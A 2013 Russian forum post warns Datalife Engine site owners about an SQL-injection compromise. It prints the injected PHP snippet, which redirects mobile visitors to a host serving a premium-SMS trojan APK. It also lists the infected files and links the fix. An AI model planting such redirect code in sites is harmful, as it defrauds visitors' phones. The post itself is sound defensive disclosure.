Если у вас есть сайт на Datalife Engine, критическая уязвимость / Сообщение / Флейм / Разное / Форум / SX CMS

Добрый день, Гость! Представляем Вам наши форумы. Вы можете зарегистрироваться чтобы писать на форумах или зайдите под своим именем, если Вы уже регистрировались.

Форум

Пользователи

Календарь

Помощь

Поиск

Новые сообщения

Новые темы

Темы без ответов

Форум

Разное / Флейм

Если у вас есть сайт на Datalife Engine, критическая уязвимость

Похожие темы

Если у вас есть сайт на Datalife Engine, критическая уязвимость

Ссылка на сообщение в теме Ссылка на страницу сообщения

Среда, 16.01.2013, 00:36

Kurman

Группа: Пользователь

Ранг: Продвинутый

Cообщений: 237

Регистрация: 26.10.2009

Город: Moscow

Троян browser_update_install.apk
В общем, после Нового года, мне 9 января, некоторым 13 января - у кого есть сайты на DLE движке была осуществлена SQL инъекция.

При открытии сайта на компе ничего не происходит, но при заходе с телефона, подгружается browser_update_install.apk - троянец, который впоследствии будет слать с вашего телефона СМС на короткие платные номера, высасывая деньги с счета телефона.

Вот внедренный код:

PHP-код

 $iphone = strpos($_SERVER['HTTP_USER_AGENT'],"iPhone"); 
$android = strpos($_SERVER['HTTP_USER_AGENT'],"Android"); 
$palmpre = strpos($_SERVER['HTTP_USER_AGENT'],"webOS"); 
$berry = strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry"); 
$ipod = strpos($_SERVER['HTTP_USER_AGENT'],"iPod"); 
 
if ($iphone || $android || $palmpre || $ipod || $berry === true) {  
 
    header('Location: http://domain/'); 
 
}

Этот код может быть внедрен в файлы
index.php
engine/engine.php
engine/init.php
engine/data/config.php
engine/data/dbconfig.php

Чуть не поседел, пока пару часов судорожно искал причины.. Хорошие люди выложили, хорошо хоть нашел )))

Решение: удалить код, применить патч http://dle-news.ru/bags/v97/1547-patchi-bezopasnosti-dlya-versiy-97-i-nizhe.html

Отредактировано Kurman: 16.01.2013, 00:37:13

Быстрый переход:

Сейчас на сайте

Пользователей: 0, Гостей: 3

Поисковые боты: 215
Bot(193), oBot(12), Yandex(2), BingBot(5), Crawler, Googlebot(2)

Статистика форума

	Темы	Сообщения	Пользователи
За сутки:	0	0	0
За неделю:	0	0	0
За месяц:	0	0	1
Всего:	1444	9453	3410
Мы приветствуем нового участника: dota812651

Дни рождения

Исида Египетская (61), yura261296 (28)